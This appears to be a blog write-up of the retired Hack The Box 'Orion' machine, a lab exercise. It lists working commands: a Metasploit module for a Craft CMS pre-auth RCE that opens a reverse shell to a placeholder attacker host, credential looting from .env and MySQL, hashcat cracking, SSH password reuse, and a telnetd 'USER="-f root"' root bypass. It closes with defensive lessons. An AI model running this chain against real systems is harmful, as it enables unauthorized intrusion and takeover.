root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat orion.md
// writeups

Orion

23 Jun 2026 · 8 min read
writeupshacktheboxlinuxEasyretiredfree
Orion - maquina de Hack The Box

Executive summary — Orion is an Easy Linux box serving the "Orion Telecom" corporate site on Craft CMS 2.0.51. The foothold is a pre-authentication RCE (CVE-2025-32432) that lands a www-data shell; from there we read the application's .env, which stores cleartext MySQL credentials. Inside the database we steal the admin's bcrypt hash, crack it with hashcat and rockyou, and reuse that same password to log in over SSH as the system user adam. Escalation to root exploits an authentication flaw more than a decade old in the local Telnet service from GNU Inetutils (CVE-2026-24061). Path: Craft RCE -> .env -> MySQL -> hashcat -> SSH -> local Telnet -> root.

PlatformHack The Box
Operating systemLinux (Ubuntu 22.04.5 LTS)
DifficultyEasy
StatusRetired
Target IP10.129.244.146

Attack map

[80] Craft CMS 2.0.51 -> CVE-2025-32432 (pre-auth RCE) -> www-data shell
   |  .env in /html/craft with cleartext MySQL credentials
   v
[MySQL]  users table -> admin bcrypt hash -> hashcat + rockyou -> darkangel
   |  password reuse with user adam
   v
[SSH]  adam  (user.txt)
   |  ss -tulnp -> Telnet only on 127.0.0.1:23 -> CVE-2026-24061
   v
[ROOT]  (root.txt)

1. Reconnaissance

Host discovery and a full port scan, UDP included:

netdiscover -i tun0 -P
arp-scan -I tun0 --localnet
nmap -p- --min-rate=2000 -T4 -Pn 10.129.244.146
nmap -sC -sV -p 22,80 -Pn 10.129.244.146
nmap -sU --top-ports 100 -T4 -Pn 10.129.244.146
PortServiceVersion
22/tcpSSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcpHTTPnginx 1.18.0 (Ubuntu)

No open UDP ports show up in the top 100. Web enumeration:

whatweb -a 3 http://10.129.244.146
nikto -h http://10.129.244.146
feroxbuster -u http://10.129.244.146 -w /usr/share/wordlists/dirb/common.txt

whatweb returns a 302 to http://orion.htb/: the real site is served by vhost name, not by the bare IP. First hint not to write off a site just because the IP alone looks empty.

echo "10.129.244.146 orion.htb" | sudo tee -a /etc/hosts

Browsing to orion.htb shows the "Orion Telecom" site, with a contact form (Name, Email, Message).

2. Technology identification — Craft CMS 2.0.51

Inspecting the contact-form requests and the response headers reveals the exact CMS and version: Craft CMS 2.0.51, vulnerable per a CVE search against that version.

CVE-2025-32432 is an unauthenticated RCE in Craft CMS: just reaching the vulnerable endpoint is enough to execute commands as the web server user, no credentials or prior session required.

Exploit used: Metasploit module linux/http/craftcms_preauth_rce_cve_2025_32432.

use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.244.146
set VHOST orion.htb
run
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[+] The target is vulnerable.
[*] Sending stage (45739 bytes) to 10.129.33.100
[*] Meterpreter session 1 opened

Initial access gained as www-data.

3. Initial post-exploitation — www-data and the .env

meterpreter > shell
whoami
# www-data

cd /html/craft
cat .env

Landing an RCE is never the end goal on its own: the first stop after gaining command execution is always the configuration files. Craft CMS keeps all of its sensitive config in .env, at the root of the application.

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

MySQL credentials are exposed in cleartext, and the database user is directly root.

4. MySQL database — the admin's bcrypt hash

mysql -u root -p orion   # password: SuperSecureCraft123Pass!
use orion;
select id, username, email, password from users;

This returns the admin user's bcrypt hash:

$2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

5. Cracking the hash (hashcat)

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Hash.Target...: $2y$13$e9uohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Status...........: Cracked

Password recovered: darkangel.

6. Lateral movement — SSH as adam

The password darkangel is reused with adam, a system user found under /home on the target. Reusing passwords between the application database and operating-system accounts is a very common pattern.

ssh adam@orion.htb   # password: darkangel
cat /home/adam/user.txt

7. Local enumeration as adam — Telnet on localhost

With interactive access, we enumerate services listening on the box itself:

ss -tulnp
tcp   LISTEN   0   128   127.0.0.1:23   0.0.0.0:*

Port 23 (Telnet) only listens on 127.0.0.1, which is why it never showed up in the initial external nmap scan — it's only reachable from inside the box itself. Enumerating local services after getting a shell (ss -tulnp / netstat) is a step that must never be skipped.

telnet --version
# telnet (GNU inetutils) 2.7

8. Privilege escalation — CVE-2026-24061 (Telnet auth bypass)

Vulnerability: GNU Inetutils telnetd (versions up to 2.7) fails to sanitize the USER environment variable before passing it as an argument to /usr/bin/login. Sending USER="-f root" makes the daemon build the command login -f root; the -f flag tells login to treat the session as already authenticated for that user, skipping the password entirely. CVSS 9.8 (Critical).

USER="-f root" telnet -a 127.0.0.1
root@orion:~# whoami
root
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
RCECraft CMS 2.0.51CVE-2025-32432 (pre-auth RCE)Initial shell as www-data
Info.env in /html/craftCleartext MySQL credentialsDatabase access
CredentialsMySQL / users tableCrackable admin bcrypt hash (rockyou)Cleartext password (darkangel)
LateralPassword reuseSame password in MySQL and over SSH (adam)System user + user.txt
PrivEscLocal Telnet (127.0.0.1:23)CVE-2026-24061 — USER="-f root" bypasses login authRoot + root.txt

Lessons learned

  • Vhosts on HTB: always check for redirects (302) and resolve the domain in /etc/hosts before writing off a site as "empty" from the bare IP.
  • Update the CMS: CVE-2025-32432 gives unauthenticated RCE; patch Craft CMS.
  • A .env exposed after an RCE is a credentials goldmine: check it immediately after gaining command execution.
  • Don't reuse passwords between the application database and operating-system accounts.
  • Always enumerate localhost-only services after landing a shell (ss -tulnp / netstat): they never show up in an external scan and can be a direct path to root.
  • Old vulnerabilities keep killing: CVE-2026-24061 sat undiscovered in telnetd's code for over a decade before being actively exploited.